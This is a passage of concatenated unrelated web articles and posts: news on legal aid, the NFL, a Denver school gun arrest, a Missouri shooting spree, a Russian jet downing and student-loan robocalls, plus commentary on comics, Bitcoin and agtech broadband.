provides legal-services aid to states. This federal funding accounts for 20 percent of the funding of Legal Services NYC, for example. While cutting funding out would not necessarily affect New York’s ability to implement its right-to-counsel plans, it would make public defense that much harder. For some places, these budget cuts could prove devastating, especially for rural and older communities. “In some states, legal aid funding comes almost entirely from the Legal Services Corporation,” Pollock says. If the worst does not come to pass—if federal funding for legal aid is retained—then more cities may soon try to adapt New York’s law. Dias says that members of The Right to Counsel NYC Coalition and Legal Services NYC recently gave a presentation at a conference in Austin in July attended by legislators, community board members, and school board members from all across the country. “In many places there’s some version of this, in the sense that they’ve appropriated funds or passed legislation,” Dias says, “but none of them have the comprehensive right that we now have.”
-GREEN BAY, Wis. -- The year after a torn ACL is supposed to be the hard one, yet last season Jordy Nelson looked like a post-ACL reconstruction Adrian Peterson.  On the way to NFL Comeback Player of the Year honors, Nelson defied conventional wisdom that says a player isn’t the same until two years after a torn ACL -- an idea that Nelson himself acknowledged last season.  Now here’s Nelson, the year after the year after he blew out his right knee in a 2015 preseason game, and the Green Bay Packers believe he could follow in the path of those who say they’re better two years after the injury than in the first season following it.  One season removed from his ACL tear, Jordy Nelson caught 97 passes in 2016, 14 for touchdowns -- one short of his career high in each category. AP Photo/David J. Phillip  “I hope he’s one of those guys who has an even better year the year after,” Packers receivers coach Luke Getsy said as OTAs began last week. “I think as the year went on, I think we saw him get better. And a lot of that, too, was he was not doing many football activities until we started our season. I think he was getting in game shape as the season was wearing on, so that’s probably why you saw a really good player by the end of the season again, and I expect nothing less than him to go out and perform at a high level again as soon as we get going.”  A year ago at this time, Nelson was a spectator at OTAs with his eye on a return for the start of training camp in July. But a self-described “hiccup” with his other knee -- he has never revealed exactly what happened -- kept him out until late in training camp. He wasn’t cleared to practice until Aug. 17, and even after that, he didn’t play a single snap in the preseason. Without a game rep in nearly 13 months, Nelson played 54 of a possible 64 snaps in the sweltering head of Jacksonville in the 21016 season opener.  But it wasn’t until much later in the year when Nelson began to resemble the deep-threat receiver he was in 2014, when he caught nine passes (including six for touchdowns) on balls thrown at least 30 yards in the air, according to ESPN Stats & Information. It was a 60-yard bomb to set up a game-winning field goal in Week 15 at Chicago that offered the first glimpse of the old Nelson.  “I think as the year went on, I think you guys saw a guy who got better, so that’s exciting,” Getsy said. “It’s really fun to have him here at this time. Since I’ve been here, I don’t know if he’s had an offseason with me, so that part of it is exciting -- to see how I can help him become a better player on a personal level. He’s a guy who attacks everything the right way all the time; those thoughts don’t even cross my mind. I’m very excited to see what he can do this year, and I’m sure it’s going to be great stuff and he’s going to help us win a lot of football games.”  Although his yards-per-catch average dropped from 15.5 in 2013 and 2014 to 13.0 last season, Nelson caught 97 passes, 14 for touchdowns -- one short of his career high in each category. In some ways, he reinvented himself, moving into the slot at times. He caught 34 of his 97 passes from the slot and totaled 498 of his 1,257 receiving yards from an inside position, according to ESPN Stats & Info. Both were career highs. Six of his 14 touchdown catches came from a slot position.  Yet Nelson isn’t ready to call himself a slot receiver just yet. “I don’t think it was an emphasis we put on last year,” he said. “I think it was the way game-planning came out. I didn’t even pay attention to it. It’s one thing that we’re all able to move around. It’s good for us to do, put us all in different situations and creating mismatches.”  Nelson isn’t a big-picture kind of player -- something that was reinforced during the grueling one-day-at-a-time rehab process. So all he’s thinking about now is how nice it is to actually be on the field for OTAs, which is why it wasn’t a surprise to see him vigorously attacking drills in practice last week just days before he turns 32 on Wednesday.  “When you're at practice, you go full speed,” Nelson said. “There's no half-speed out there, especially as receivers. You've got to do that, because you've got to work on timing and continue to grow on that. You understand the importance. If there's a 50-50 ball in the air, you've got to be smart on both ends, especially right now. You don't want something crazy happening. Just get to the spot where you're prepared for training camp and Week 1.”
-Looking for a video editer for my youtube channel  Hey! So I want someone to help me make youtube content on a weekly basis. It'll obviously be paid, and the amount is going to vary depending on the quality/effort invested in the videos.  The work I'm looking for is mainly shorter, 3-5 minute highlight video to start out with.  It would be paid per video, and around 1-2 videos per week. Working with me on tutorial videos and other types of content is also likely.  It'd be uploaded on my channel, but I'm happy to advertise the creator and you can link your own channel in the credits etc.  I'd like someone who can do this during all times of year, so someone who can only do this during the summer for example need not apply.  Here are some basic requirements:  -Good understanding of Melee, (other fighting games is a + too)  -Consistency, easy and reliable to work with.  -Good to very good editing skills while being smart enough to not overedit everything  -watches my stream/my tournament matches. If you don't it'll be a LOT harder to work with you  I've already gotten some good offers but I thought I'd keep my options as open as possible =)  Email me your resumes at l3ff3n@gmail.com and we'll talk!  Reply · Report Post
-We do not share your email address without your permission. We will send you updates on this and other important campaigns by email. If at any time you would like to unsubscribe from our email list, you may do so.  Tell Your Lawmakers: Shut Down The New Debtors' Prisons  Americans are in more debt than ever before, and the banks are going to new extremes to squeeze us for every last penny: If you can't pay up, they'll try to get you locked up.  The Wall Street Journal has been investigating the disturbing resurgence of debtors' prisons throughout America -- here's one especially infuriating example of what the banks are up to: AIG got a $122.8 billion bailout from taxpayers. Jeffrey Stearns happened owed AIG $4,000 on a loan for his pickup truck. How'd the mega-corporation handle his debt? Did they forgive him because of the public's recent largess? No way: They had him arrested in front of his family.  After being handcuffed in front of his four children, Mr. Stearns, 29 years old, spent two nights in jail, where he said he was strip-searched and sprayed for lice. "I didn't even know I was being sued....It's the scariest thing that ever happened to me."  The Wall Street Journal's data reveals that across the country, banks are having tens of thousands of Americans arrested over their debts. What happened to Stearns could happen to almost anybody. Some state legislators are moving to outlaw the practice. Will you urge your lawmakers to join them?  PETITION TO MY STATE LEGISLATORS: The Wall Street Journal is reporting that banks across the country -- including those that got bailouts -- are getting Americans locked up for being unable to pay their debts. I urge you to investigate if and how that's happening here and take measures to end any debt arrests right away.  Just sign on at right and we'll automatically send an email to your state legislators.  Here's that recent Wall Street Journal article on the return of debtors' prisons.
-Whose side is Justin Trudeau on in Civil War II? Is the Prime Minister of Canada, making his comic book debut today in Civil War II: Choosing Sides #5, Team Tony or Team Carol? Turns out, he’s neither. He’s Team Justin Trudeau Doesn’t Give a Shit About Your Superhero Infighting Nonsense.  Advertisement  You’d be forgiven for thinking that the Alpha Flight side of today’s issue of Civil War II: Choosing Sides #5, written by Chip Zdarsky and with art by Ramón Pérez, was meant to be about the Canadian superteam that now closely works with Carol Danvers as Earth’s first line of defene against cosmic threats.  But you don’t get Justin Trudeau, currently one of the most popular politicians around, to guest star in your comic and not turn him into the star. So really, instead of being titled “Alpha Flight” this story should be called “Justin Trudeau Could Probably End This Civil War Single-Handedly If He Wants To, Good God.”  Advertisement  The tale opens with Trudeau calling Alpha Flight into his office after Carol tasks the team with bringing in a suspect divined through Ulysses’ Inhuman powers of foresight—and Prime Minister Trudeau is not happy that his Canadian team is being called in on American soil, or at Carol Danvers’ terrible reasoning for using Ulysses to fight crime:  Yes, even Justin Trudeau thinks that Carol is being ludicrous. If Marvel won’t listen to the Prime Minister of Canada about how they’re ruining one of their flagship characters in this event, who will they listen to?  Advertisement  But don’t take Trudeau’s strong stance against Captain Marvel as him secretly stanning for Iron Man. Even though, apparently, the Marvel Comics version of Justin Trudeau boxes with Tony Stark every week, because of course he does:  Advertisement  During Tony and Trudeau’s sparring match—which, by the way, features Trudeau easily trouncing Stark and apologizing with every solid hit he lands, because once again of course he does—Tony probes the Prime Minister about his meeting with Alpha Flight, desperate for insider intel on Carol’s plans. And then this happens:  Justin Trudeau floors Tony Stark. Pierre Trudeau would be proud. On top of that, he then basically tells Tony that he’s just as wrong as Carol is, and that there’s a middle ground that no one has even bothered to try fighting for it.  Advertisement  And Trudeau is right. The forced conflict that kicked off Civil War II aside, neither Carol or Tony have done a great job trying to find common ground with each other. They’ve just divided into ridiculous factions and then gone at it, at great cost to the people around them. As Trudeau ends the story: “You all fight too much, with the wrong opponents.”  It only took the Prime Minister of Canada to realize that, amazingly.
-Students at a Denver middle school alerted administrators Friday morning that at least one of their classmates had a gun, leading to a lockdown, the arrest of three boys and questions about their intent.  Police say two of the students had each brought a handgun to Skinner Middle School and a third was in possession of some kind of smoke device.  Officers, some clad in tactical vests, scrambled to the school to search its hallways, causing frantic parents, some in tears, to rush to be with their children and hug them in relief.  “It’s a parent’s worst nightmare,” said Dolly Kilgore, who came to pick up son Nathan and left crying tears of joy.  School shootings across the country — including at Columbine High in 1999 and Arapahoe High in 2013 — prompted school officials to stress the importance of students speaking up about possible danger.  Unlike at Arapahoe, where some say warning signs were not acted upon, the alarm bells were sounded before it was too late.  “Our students are to be commended for seeing something and saying something right away,” Cmdr. Paul Pazen said at a news conference. “These types of tragedies are averted by students that have been taught, reinforced and shared that if you see something, you let the staff know.”  No injuries were reported Friday. Police said two students were arrested on suspicion of being in possession of a handgun and a third on investigation of having a suspicious device. Police say they are working to determine what the suspicious smoke device was.  “We are going to make sure we know all of the ‘whys’ in this,” Pazen said, stopping short of speaking on any possible motive. “We are going to make sure to dig deep with everything we have possible to find out how and why this happened.”  Sixth-grader Ella Rodriguez said one of her best friends reported one of the students to the principal as being suspicious. She said her friend saw what looked like a gun in one of their bags.  “I thought we were on a drill at first,” Rodriguez said. She said she heard police officers outside her classroom saying “It’s clear!” and “Keep searching!”  Parent Lisa Archuleta said the principal told her the weapons were found in lockers.  Still, at least one student said he initially kept silent.  Leonel Loya, an 11-year-old in sixth grade, said his friend and his friend’s brother brought the guns to school. Another friend brought the smoke bomb.  “I asked them what they were going to do with it, but they (didn’t) want to tell me,” said Loya, who was with his mother and older sister. “They said not to tell anyone because they didn’t want to get in trouble.”  Loya said the boys showed him the two guns and the bullets loaded inside.  “They didn’t want to tell me,” Loya said of what the boys planned to do with the weapons. Loya said he didn’t speak to administrators because he was scared of retaliation and was afraid of getting his friends in trouble.  Officials declined to identify the boys or disclose their ages because they are children. Police said they don’t plan to release further details immediately.  “We’re still digging,” said police spokesman Sonny Jackson.  Denver Public Schools train once a semester for lockouts and lockdowns, district officials said. Within the past several weeks, Denver police and a hospital conducted joint training on a school catastrophe scenario.  Officials credited their preparedness and school education with Friday’s swift response.  “This successful outcome did not happen by accident,” Pazen said.  John McDonald, executive director of security and emergency management for Jefferson County Public Schools, praised Denver for its work with students.  Staff writer Joey Bunch contributed to this report.
-Adaptive executives say their scavenging approach gives them an advantage over bigger studios that are competing for fresh scripts from writers who are in demand, or wrestling over the same picked-over comic book franchises.  Adaptive controls the intellectual property across all media, and uses the books to promote the films, which it hopes in turn will help book sales. The novels also offer a relatively inexpensive way to market-test high-concept stories — those with a simple, basic hook — and build an audience for a new franchise, Adaptive’s executives say.  Booksellers have warmed to the concept. The company recently announced an unusual partnership with Barnes & Noble, which is giving prominent placement to Adaptive’s titles in its 640 stores and has exclusive rights to sell the books for the first six months.  With the release of “Coin Heist,” which is now in postproduction, Adaptive faces its first big trial with audiences and critics.  The project has a long and tortured history going back to 1998, when a screenwriter, William Osborne, wrote a script titled “The Hole With the Mint,” an action-comedy about a British schoolteacher who recruits his former students to rob the Royal Mint. He sold the idea at the first pitch meeting and wrote three drafts, only to have it languish in the studio vault for 15 years.  Then, in 2013, Adaptive bought it as part of a bulk deal for 25 moribund Miramax scripts.  Adaptive executives took the script apart. They changed the setting and condensed it into a five-page narrative blueprint. They auditioned five writers before hiring Elisa Ludwig to reimagine the story as a young-adult novel set in a Philadelphia prep school.  After the novel was published, they brought in a new screenwriter, Emily Hagins. She adapted it into a movie about four students who team up to rob the Philadelphia Mint. (Producers are describing it in Hollywood-speak as “The Breakfast Club” meets “Ocean’s Eleven.”)
-CABOOL, Mo. — The only sounds inside Vikings bar are the clacking of billiard balls and the drone of a TV set to whatever-is-on. At 8:30 on a Friday night, the sound of a car door shutting on deserted Main Street in front of the town’s only tavern is enough to make you jump. Inside, the near silence makes the closing of the front door go off like a gunshot.  Boom! Heads turn.  Cabool, an Ozarks outpost of 2,700 souls is the nearest town of note for tiny Tyrone, where on Thursday night Joseph Jesse Aldridge went on a killing spree that left seven dead, and ended with the 36-year-old blowing his brains out behind the wheel of his pickup. The three people inside Vikings Friday night didn’t know Aldridge but they knew some of his victims. So did Aldridge.  As the 10 o’clock news approached, the three Cabool residents and one new face in town added up the bodies.  “Let’s see, there’s Garold and Harold. Brothers,” says Carol, who along with her husband Leon Loman owns Vikings.  “I knew Garold,” Leon chimes in.  “Now, they were cousins of the Aldridge boy,” Carol goes on, looking up from her phone’s screen and above the cheaters on the end of her nose. “Then there’s their wives. And I guess there’s three more after that.”  They would be the Shrivers. In addition to Garold and Harold Aldridge and their wives, Julie and Janell, there is Darrell Shriver, 68, his son Carey, 46, and Carey’s wife, Valirea. All dead. An eighth would-be victim — Darrell’s wife, Martha — is “currently recovering” after apparently being shot by Aldridge, the Texas County Sheriff’s Office said in a press release Saturday afternoon. Another survivor, a 15-year-old girl who hasn’t been identified, escaped a violent death by running to a neighbor’s through a briar patch in the middle of the night. If not for her bravery, police might not have been called until more had been murdered.  At 10, the news goes top volume in Vikings. The chyron reads “Rural Rampage,” and two reporters are stationed in front of the sheriff’s office in Houston, 20 miles away from Cabool and a bit farther than that from Tyrone. A new angle follows the rehashing of Aldridge’s deeds: Apparently there’s been a glut of suicides and murder-suicides in Texas County in recent years, one of the reporters has found. He shares with the viewers some troubling statistics, then adds, “Maybe there’s some way to find some good out of a situation even as bad as this one.”  Perhaps. And today that will be the job of the preachers, of which there are many around here.  “We got more churches than we know what to do with,” Leon says.  Cabool, like Tyrone and the county seat Houston, is God’s country.  “Baptists, Jehovah’s Witnesses, lot of Pentecostals. We even got a few Catholics,” says Steve, the only paying customer at Vikings on a Friday night besides me.  While Texas County may be blessed with a glut of houses of worship, what it lacks is the one thing that makes for rowdier Saturday nights and sleepy Sunday mornings.  “No jobs,” says Leon. “Used to be a shoe factory here but that left 20 years ago. You got the dairy plant, some logging, cattle farming. And that’s about it.”  Work may have been what Aldridge was looking for. The Shrivers owned a cabinet-making company, among other other businesses, and ran it from a group of buildings not far from where Aldridge went door-to-door with a handgun, killing whomever he found.  “I heard he was looking for work and they wouldn’t hire him,” Steve says.  The cops haven’t said where Aldridge worked, or even if he did. He apparently lived at home with his mother, who police say died of natural causes at some indeterminate time before the rest of the deaths. There’s been some speculation that Aldridge discovering her body may have set him off. But the only way to know went out the window when Aldridge splattered his brains all over the windows of his truck.  Whatever his motive, it doesn’t appear that the Shrivers were caught in the crossfire. The homes in which they lived aren’t as close as the “cluster” of houses that some media reports have described. Aldridge clocked a few miles in his truck Thursday night, driving up and down County Highway HH stopping at one house after another and firing away.  In news stories about the killings, Tyrone is described as a “close, tight-knit community.” It’s a hackneyed phrase that appears any time something terrible happens outside a city larger than, say, Toledo.  While it may be true in Tyrone, and in neighboring Cabool, not every town with more churches than bars is a modern-day Mayberry. There are some things in Texas County that aren’t very godly.  “It’s probably the meth capital of Missouri,” Steve jokes.  After a few hours, Leon explains that it’s not just a lack of jobs that’s keeping his bar empty at night. The churches around here frown upon drinking so much that “they bought up all the liquor licenses,” making it impossible to start up a tap, according to Leon. Then there’s the stigma of being seen walking into or out of a bar, in the first place. That leads to having some explaining to do on Sunday morning in church, Steve says.  “But I tell ‘em all the time. There’s nothing in scripture that says anything about drinking alcohol,” he tells me.  The scripture provides Steve with his rules for living, he says. It’s filled with stories that offer advice, soothe the troubled, and sometimes entertain. Steve knows many of these stories, and he knows quite a few from around Cabool, as well. As the 10 o’clock news fades into the background, he tells us one of these more local tales, a story about an old friend of his named Danny Ray Roberts. Danny was a fuck-up, Steve says, but he wouldn’t hurt a fly. He was kind of slow, maybe mentally challenged, but definitely not evil.  “One time he asked me to borrow $40, and I gave it to him. Next thing I know he’s in the bathroom with two guys, and he comes out with $60! I don’t know if it was sex or drugs but I’d rather not know,” Steve laughs.  One day, Danny went missing. You won’t find a news story about it, and there was no press release from the Texas County Sheriff’s Office for carpetbagging reporters. But just like the speculation surrounding Aldridge’s motive, there’s a lot of guessing about what happened to Danny — stories told and twisted by the years.  “He must’ve screwed over the wrong people, maybe on some drugs,” Steve says of Danny, claiming to know the truth. “So they killed him. Chopped up his body and fed him to the hogs.”  Steve doesn’t laugh after this line. Just stares into his beer for a second as the room grows quiet.  The portrait that some would like to paint of Texas County as an unassuming Bible-belt town may not be entirely accurate. There are some ugly things that go on in these hills, Steve’s story served to remind his small audience. And there is plenty of judgment to go around. Many people don’t even want to bother with the consequences of being seen walking into or out of Leon’s bar, Steve says. But he doesn’t worry about it — not everyone has grown as thick of skin as Steve has.  Why?  “I’m a registered sex offender.”
-ERBIL, Kurdistan Region – Russia’s President Vladimir Putin accused Turkey of shooting down a Russian jet Tuesday, in which at least one pilot was killed.  “This incident stands out against the usual fight against terrorism,” Russia’s official RT television quoted Putin as saying on its website. “Our troops are fighting heroically against terrorists, risking their lives. But the loss we suffered today came from a stab in the back delivered by accomplices of the terrorists.”  Putin dismissed Turkish claims that the Russian plane had violated Turkish airspace. Ankara said the pilot had not responded to warnings.  But Putin accused Turkey of acting in the interests of the Islamic State (ISIS) group, accusing the NATO ally of being more interested in the money to be made in dealing with the militants than to fight the war against. He added that Moscow has long known about Ankara’s economic ties to ISIS, which is also known as IS.  “IS has big money, hundreds of millions or even billions of dollars, from selling oil. In addition they are protected by the military of an entire nation,” Putin said, pointing at Turkey without naming it.  “One can understand why they are acting so boldly and blatantly. Why they kill people in such atrocious ways. Why they commit terrorist acts across the world, including in the heart of Europe,” RT quoted the Russian leader as saying.  Meanwhile, in a meeting with King Abdullah of Jordan Tuesday, Putin said the plane was shot down over Syria.  “Our plane was downed over Syrian territory by an air-to-air missile from a Turkish F16. It crashed inside Syria, 4 kilometers from the Turkish border," Putin was reported as saying.  "At the time it was engaged it was at 6,000 meters altitude and one kilometer from the Turkish border. In any case our pilots never threatened the territory of Turkey. This is obvious," Putin said.  He warned that the incident would tarnish Moscow’s relations with Ankara.  Footage from Turkish media outlets, including Anadolu Agency, appears to show the aircraft crashing in a place known as “Turkmen Mountain” in northern Syria. Two pilots can be seen parachuting from the fiery plane before it crashed.  RT said that one pilot was killed and the fate of the other remained unknown.  A Syrian rebel group has claimed to have captured the other aviator. Two videos were released separately Tuesday morning from different Syrian rebel groups each claiming to have the pilots in custody.
-WASHINGTON — If you’re behind on your government student loans, your mobile phone soon may begin ringing with calls from debt collectors.  WASHINGTON — If you’re behind on your government student loans, your mobile phone soon may begin ringing with calls from debt collectors.  Your friends and family may hear from them, too, thanks to Congress.  A provision stuck in the recently approved spending bill last week exempts the U.S. Department of Education from a 1991 law that prevents harassing, automated phone calls.  The Telephone Consumer Protection Act barred pre-recorded messages or auto-dialing, known as "robocalls," made to cellphones without the consent of the person called.  The budget grants an exemption to government debt-collectors, allowing them to auto-dial and make twice as many calls as they can by hand.  It’s unclear when cellphones will start buzzing.  In a letter sent Monday, four senators urged Education Secretary Arne Duncan not to allow robocalls until the Federal Communications Commission creates rules for the exemption. Congress gave the FCC nine months to act.  "We are concerned that this provision will subject student loan borrowers to a barrage of unsolicited calls — and possibly leave them with no refuge to stop the calls," wrote Sens. Elizabeth Warren and Edward J. Markey, both Massachusetts Democrats, and Sens. Mike Lee and Orrin Hatch, Republicans from Utah.  The senators say the provision can be read to allow robocalls to friends and family of those who owe money, as well.  An Education Department spokesman declined comment on when debt-collecting robocalls might begin, or if friends and family will get them, too.  The change comes as the Federal Reserve reports total student debt has doubled since 2008, to about $1.3 trillion, though loan default rates have dropped for recent graduates.  Even so, the Obama administration asked Congress to allow more aggressive collection techniques.  In an Oct. 1 report, the Department of Education asked Congress to give its debt collectors the freedom to use "modern technology."  Reaching those who owe money spurs repayment, the department argued, and allows it to advise borrowers of options such as repayment plans that help avoid default.  Many borrowers, especially those who’ve just graduated, move around and do not have landlines, the report said. A prohibition on auto-dialed calls to cellphones made it "virtually impossible" to reach them.  One contractor, Nelnet, made a business decision in 2013 to stop even trying to call borrowers whose phones it had to dial manually, according to a December 2014 inspector general’s report. The company’s contract with the government did not say how many calls it had to make.  As a result, the report said, borrowers with landlines were reached within 20 days of the last time they were contacted. Those who could not be auto-dialed did not hear from the collection agency for as long as 328 days.  Nelnet and other companies lobbied and failed to get the FCC to relax robocall rules earlier this year.  According to information provided by Nelnet to the FCC, student loan borrowers who receive auto-dialed calls have default rates seven times less than those who cannot receive robocalls.  But the FCC in June mostly rejected the petitions of 21 companies or groups in various industries to weaken aspects of the law.  In remarks at the time, Commission Chairman Tom Wheeler said, "It’s simple: Consumers should be able to make the decision about whether they receive automated calls. If they want them, they can consent. And if they don’t consent, they should be left alone."  Consumers Union spokesman Tim Marvin said Congress last week acted in the opposite direction.  "It’s kind of ironic this happens as the FCC chairman is trying to clamp down on robocalls," he said.  The senators, meanwhile, questioned whether allowing robocalls will truly bring in more money.  "The federal government should focus on giving students the tools they need to repay their debts and to avoid default," Sen. Warren said in a press release, "not on squeezing them even harder."  Distributed by Tribune Content Agency.
-Recently there has been a lot of discussion regarding Bitcoin transaction fees and the time it takes to confirm transactions. This conversation can be seen on the front page of the subreddit r/bitcoin over the past week, and nearly every day on the r/btc forum. The two highlighted topics within the debate are whether or not fees are too large at the moment and if over 10 minutes is too long. Some people have said to have been waiting for six hours or more for one confirmation, and some are paying much larger fees to move their Bitcoin.  ‘I don’t Care What Side of The Debate You Favor, Jaded Vet’s Could Be Kinder to Newbies’  The price of Bitcoin has got everyone amped up as it touched over $700 per BTC the other day and is wavering just below that range as of press time. Of course, when the value lifts there are signs of more transactions taking place within the network. This consists of people selling off to make gains, people buying more in anticipation for increases, day trading, and day-to-day common purchases and transactions.  Within the network, we have seen large amounts of buying on Chinese exchanges and LocalBitcoins and record daily volumes in numerous other countries around the world. The world economy is shuddering, and new users globally are appearing left and right within our community. Some people are just learning about the cryptocurrency for the first time and are investing a tiny bit or a whole lot of wealth into the market. One thing is for sure new people eager to be educated on the subject most likely don’t need to be badgered or made fun of.  Lately, the animosity has gotten so bad that users are scaring away new Bitcoiners. No matter what side of the block size debate you are on making fun of people who don’t know what they are doing isn’t progressing our efforts. For instance, some new user complains about a slow confirmation time and are told, “Show me the Txid or GTFO.” First and foremost this is the typical reply by many seen across multiple forums.  In my humble opinion simply asking to see the Txid kindly would probably motivate the conversation better. But we all know there are trolls out there making stuff up so really we need proof. The funny thing is within some of the forum discussion even when the proof is given it’s still not good enough. Typically after evidence is shown you then see the next typical reply which is, “My transaction went just fine. You didn’t send the right fee. The wallet you use sucks.” and so forth. Today one particular commenter writes this particular statement to a person having a problem:  “I sent two transactions in the last 24 hours, both cleared in less than 30 minutes. Why do you special snowflakes post about your crap transactions, when it all comes down to two things: Unconfirmed inputs from a previous transaction, and being too cheap to throw in a few fractions of a bitcoin to get your transaction processed. I mean really, pay the goddamned fee you cheap assholes.”  I honestly can’t imagine how a new user would feel after seeing such a reply, and again no matter what side of the debate you are on its a bit rude. Jaded veterans now assume everyone should have a ‘21 inc. Fee Handbook‘ at their side at all times. They explain this is just the way it is and if you haven’t gotten the latest update on fees GTFO. It is pretty despicable really that the split within our community has gotten to this point. Over the past six months, the bickering has been pretty bad, and logical conversation with solid reasoning is far and few between.  I love Bitcoin and really dig this community. I’ve made some excellent friendships with people who love decentralization, peer-to-peer networking and open source technology just as much as I do. I have been passionately exploring this space since 2011 and have written hundreds of articles on the subject. In this small opinionated editorial, I’m wondering if we can all take a deep breath and stop attacking new users with ‘jaded-vet semantics’ and ad hominems. In my humble opinion, this is the last thing we need even if you are for an off the chain solution or someone who wants bigger blocks. Besides all that smoke people having issues should be helped and supported. The Bitcoin game is so young and still there is only a small percentage of users out there. We can let ourselves get jaded or take a deep breath and a step back and maybe act more kindly. One statement that has really stuck with me was a response from security expert Kristov Atlas when I interviewed him last year about this very subject. Atlas told me:  “I’ve noticed a lot of people in Bitcoin, including myself at times, fall prey to ego identification with Bitcoin. We’re so excited by it, so moved by its potential, and work so hard on growing it that we mistake it for ourselves. Then, when others loft criticisms at it — usually piggishly thoughtless, ignorant ones — we take personal offense. When I notice I feel hurt by a criticism of this kind, I find it helpful to take a step back and remind myself that it’s not personal for the critic. It’s usually driven by the fact that Bitcoin makes some people uncomfortable. We’re upsetting the status quo,”  New users are coming to see us every day. Explain to them about the current fee market in a kind manner. Ask to see proof nicely and explain the current solutions on the development table. Point them in the right directions of a better-operating wallet instead of telling them the software they chose to use sucks. They don’t know any better, they were recommended by Google or another type of browser. Explain to them patiently waiting is the best method for slow confirmations and they will receive their coin back from the mempool, or it will eventually confirm. Support is best told with kindness and empathy and your side of the debate matters not in these particular situations. New users will not come back when we approach them like Buttcoiners do.  ~ My two Satoshis  Images courtesy of Pixabay, and Crypto-Graphics.com  Disclaimer:The statements,views and opinions expressed in this column are solely those of the author and do not necessarily represent those of Live Bitcoin News
-Earlier this month, in Monterey, Calif., a meeting organized by the Produce Marketing Association provided an opportunity for a group of local growers of crops such as lettuce, artichokes and strawberries to find out how the latest digital technologies were changing agriculture. Participants heard about how technologies like robots, drones and predictive analytics could help them improve their operations.  That same week, just up the road from Monterey, a conference called AgTech Silicon Valley was held at the Computer History Museum in Mountain View. Along with actual farmers, the meeting was attended by a dozen venture capitalists, who identified agriculture as a field that is ripe (pun intended) for disruption by technology. In good Silicon Valley fashion, the meeting included a session in which entrepreneurs from agtech startups pitched their companies to angel investors and VCs.  A number of large tech vendors such as HP and IBM have also become interested in this sector. According to attorney Roger Royce, organizer of the Silicon Valley conference and the founder of an agtech incubator, agriculture has been identified as “the last frontier for technology companies.” And it is a substantial sector: In 2013, agriculture and agriculture-related industries contributed $789 billion to the U.S. gross domestic product, which represented a 4.7% share. Farming alone was responsible for approximately 1% of overall GDP.  Of course, the use of technology in farming is hardly new. A century ago, the introduction of tractors and other mechanized equipment vastly increased farm yields and dramatically reduced the portion of the labor force that worked in agriculture, which now accounts for less than 5% of U.S. jobs. The so-called Green Revolution of the 1960s provided another boost in agricultural productivity through the development of higher-yield, pest-resistant crops and the introduction of modern irrigation techniques. By the end of the 20th century, farms had already adopted a lot of technology. The cab of a modern tractor has begun to resemble an airplane cockpit, with GPS capabilities and computer screens that display information about everything from mechanical performance to the tractor’s position and current weather data.  The third revolution  The revolution that is taking place now on the farm involves the addition of intelligence to the technologies already in place to enable what is known as “precision agriculture.” Its goal is to provide farmers with abundant, real-time, actionable information about the state of their fields: how crops are growing, how much water or fertilizer is needed, what weeds and insects may be invading the fields. Like many other industry sectors, farmers are beginning to see the value of getting access to big data that can provide them with a new level of knowledge and control over their production processes.  A number of big names in agriculture are promoting the value of the new technologies. John Deere is now selling self-driving, GPS-guided tractors that, it claims, can make 7% more furrows in a field than a human-driven tractor. The company also offers a data management service that helps farmers collect and analyze the abundant data that is generated by the operation of the autonomous tractor. In 2013, Monsanto, the leading supplier of seeds for agriculture, spent $1 billion to acquire Climate Corp, a company that provides detailed hyperlocal weather information. Using this data, Monsanto is able to offer customized seeds for each field based on the composition of the soil — in some cases, down to the level of each square foot — and the weather pattern above it. The company is also developing machines that automate other tasks, including harvesting crops, probably the most labor-intensive of all farm chores.  Precision agriculture is making it possible to optimize the delivery of key inputs in other ways as well. You can, for example, increase the yield of a crop by deliberately stressing out a plant at just the right time. New monitoring technology makes it possible to identify when to withhold irrigation and when to provide it in order to maximize production.  This kind of data-driven, precision agriculture has other benefits as well. In the wake of the severe drought that has gripped California in recent years, awareness has grown of agriculture’s vast demand for water, which accounts for nearly three-quarters of all water used in the state. (For example, it has been reported that it takes a gallon of water to produce a single almond, and growing alfalfa is even more water-intensive.) If farmers could identify just which plants in a field need water and when, total water use for crop irrigation could be significantly reduced, which would be a much more effective response to a drought than having city dwellers take shorter showers.  And by enabling farmers to track the development of their crops in detail, it allows them to satisfy the demands of consumers who are increasingly interested in knowing where their food comes from and how it was grown.  Broadband is the key  The technology that underlies all of these promising applications is broadband, and especially wireless broadband. Pervasive network connectivity makes it possible to monitor growing conditions on an ongoing basis and to communicate with and control the machines that operate autonomously in the farmer’s fields. And this connectivity enables the collection of data that drives the predictive analytics that can provide quantum improvements in farm productivity and efficiency.  From this perspective, the wired farm is just another example of the Internet of Things. But in this case, the things that are being connected are not machines but plants and livestock. (An infographic created by Cisco to illustrate the power of the Internet of Things included a section that showed a group of “connected cows” in the Netherlands equipped with sensors that automatically keep a farmer informed of their health status.)  But there is a problem: Rural areas have consistently lagged behind urban areas in broadband access. While virtually all Americans (99%) now have access to broadband Internet connections, broadband adoption rates among the country’s nearly 60 million rural residents is lower than among urban residents. Although the U.S. leads the world in adoption of high-speed 4G/LTE wireless broadband, and rural communities are benefiting from the expansion of these networks nationally, a gap remains between rural and urban coverage.  According to a 2014 study published by the PCIA, “network investment has been concentrated in metropolitan markets mainly because these markets have higher population density [while] investments in rural markets would cover far fewer customers and have higher fixed costs per customer.” This logic makes sense if the only thing that is being connected is people. But if farmers are wiring up their fields, potentially putting one or more sensors on each plant, a very different kind of financial equation may emerge. As the PCIA report argues, “the economic model for mobile broadband in rural areas should be based on the number of devices and connections, not simply the number of connections.”  A business case for expanding broadband to rural America should recognize that the connectivity needs of a farm are distinctly different from those of a populous urban area. A tomato plant or even a cow is not likely to spend time watching YouTube videos or playing online games — not even Farmville. A plant will need connectivity to make periodic reports on its status, but this data will not require instant connectivity or massive bandwidth. What farms will need is widespread coverage and reliable connectivity. At the same time, farmers themselves will need robust connections that will enable them to carry out the sophisticated analyses that turn the massive amounts of data they have collected into actionable information.  Urban vs. rural telecom: Think different  The differences between urban and rural usage patterns suggest that different architectures may be appropriate for different areas. For example, to fill gaps in wireless broadband service on farms, big companies like John Deere and smaller startups like Ayrstone have developed solutions based on deploying networks of wireless repeaters to expand the reach of connectivity and supplement conventional cellular coverage in farmers’ fields.  New policy approaches can also help. Several states, including New York, have launched programs to expand the availability of high-speed broadband to both rural and urban residents. Proposed legislation in Iowa would provide an accelerated depreciation deduction, a tax credit and a property tax exemption for broadband infrastructure deployed in targeted rural areas.  On the federal level, the American Recovery and Reinvestment Act of 2009 included funding to accelerate broadband deployment in rural areas. 